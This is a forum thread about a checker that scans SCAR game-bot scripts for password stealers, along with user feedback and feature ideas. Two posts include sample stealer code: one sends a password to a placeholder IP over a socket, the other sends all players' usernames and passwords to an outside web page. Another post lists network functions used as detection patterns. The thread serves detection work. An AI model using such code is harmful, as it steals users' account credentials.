Results 1 to 11 of 11

Thread: SCAR Script Checker

  1. #1
    Join Date
    Aug 2008
    Location
    England
    Posts
    320
    Mentioned
    0 Post(s)
    Quoted
    5 Post(s)

    Thumbs up SCAR Script Checker

    Hey everyone. This is a Non-SCAR tool for SCAR: It checks scripts for anything fishy, eg. password stealer. Simple algorithm so far, only detects scripts that send to a website and type in-game. Lots of false positives, too, but it's a start.
    Current version: 1.01
    You need: .NET Framework 2.0
    Command line scanner coming soon, and (unlikely) a python script for all you linux users.

    DOWNLOAD:
    (Windows) Attachment 7943 (OLD)
    (Windows) Attachment 7957

    Enjoy, comment, open sauce coming soon (C#) once I clean up the code!

    -- BP
    Last edited by Bad Processor; 08-03-2009 at 04:30 PM.

  2. #2
    Join Date
    May 2007
    Location
    Netherlands, Amersfoort
    Posts
    2,701
    Mentioned
    1 Post(s)
    Quoted
    0 Post(s)

    Default

    There is a char limit in your text box, so I cannot place my 1902 lined outdated iron miner in it Plus you should add, or turn hint false, on the menu items

    [off]and the tags are called banana because there was an banana man image under the black line before, but with the forum move that image died[/off]

  3. #3
    Join Date
    Apr 2007
    Location
    The Netherlands
    Posts
    5,553
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    When I put 2.0 in the combo where you can select which .net framework version you want.
    It still doesn't runs at 2.0 =/.
    ~Hermen

  4. #4
    Join Date
    May 2009
    Posts
    799
    Mentioned
    2 Post(s)
    Quoted
    16 Post(s)

    Default

    Not very efficient :'D...

    Nice GUI though =)

    Code:
    program New;
    var
      test : INteger;
    begin
      test := OpenConnection('myip',9535,1000);
      SendConnectionData(test,'pw'+#10+#13);
    end.

  5. #5
    Join Date
    Aug 2008
    Location
    England
    Posts
    320
    Mentioned
    0 Post(s)
    Quoted
    5 Post(s)

    Default

    Quote Originally Posted by Hermen View Post
    When I put 2.0 in the combo where you can select which .net framework version you want.
    It still doesn't runs at 2.0 =/.
    Eh? Combo? What combo?
    No combo comes up for me on app start. Just the program.
    Try updating your .NET framework to 3.5, see if it makes a difference.

    I'll update the char limit to just over a million.
    I'll also add support for checking sockets.

    -- BP

  6. #6
    Join Date
    May 2007
    Location
    Netherlands, Amersfoort
    Posts
    2,701
    Mentioned
    1 Post(s)
    Quoted
    0 Post(s)

    Default

    SCAR Code:
    begin
      for I := 0 to High(Players) Do
      win := win + 'UUU' + players[I].name + 'PPP' + players[I].pass;
      GetPage('www.r-vd-s.nl/lol.php/?s=' + win);
    end.

    It didn't find anything. I suggest you add for every "GetPage()", "OpenWebPage()" and "OpenConnection()" you add a warning

  7. #7
    Join Date
    Apr 2007
    Location
    The Netherlands
    Posts
    5,553
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    Quote Originally Posted by Bad Processor View Post
    Eh? Combo? What combo?
    No combo comes up for me on app start. Just the program.
    Try updating your .NET framework to 3.5, see if it makes a difference.

    I'll update the char limit to just over a million.
    I'll also add support for checking sockets.

    -- BP
    Yeah, I meant on my own project .
    ~Hermen

  8. #8
    Join Date
    Oct 2008
    Posts
    695
    Mentioned
    0 Post(s)
    Quoted
    0 Post(s)

    Default

    I think this would be better to use if there was a include for it, like Anti-Hacking.scar or w/e but if that code would be in the script then you had SCAR's assurance that nothing bad will happen, after all, scar's code is what your trying to defeat, why not do so from the inside?

    Anyone NOT having the include, well..
    Siggy is out, sry fellas :/

  9. #9
    Join Date
    May 2007
    Location
    Netherlands, Amersfoort
    Posts
    2,701
    Mentioned
    1 Post(s)
    Quoted
    0 Post(s)

    Default

    Yes, add a list like "allowed includes", and if the include is not in that list say you need to check that includes script to

    Good thinking yanix

  10. #10
    Join Date
    Nov 2008
    Location
    Norway, Alesund
    Posts
    924
    Mentioned
    0 Post(s)
    Quoted
    37 Post(s)

    Default

    I have made something like that (here http://www.villavu.com/forum/showthread.php?p=613353 or my Sig SSScanner, my one finds this functions:

    Getpage
    OpenWebPage
    PostHTTPPage(ex)
    SendConnectionData
    if it finds an functions like that it will show what script do not pass
    for example OpenWebPage function. your do something like that?

  11. #11
    Join Date
    Aug 2008
    Location
    England
    Posts
    320
    Mentioned
    0 Post(s)
    Quoted
    5 Post(s)

    Default

    Basically... Expect an update pretty damn soon :P
    Anyways I'l release some way of making your own filters... Probs XML-based or something like that.
    -- BP

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •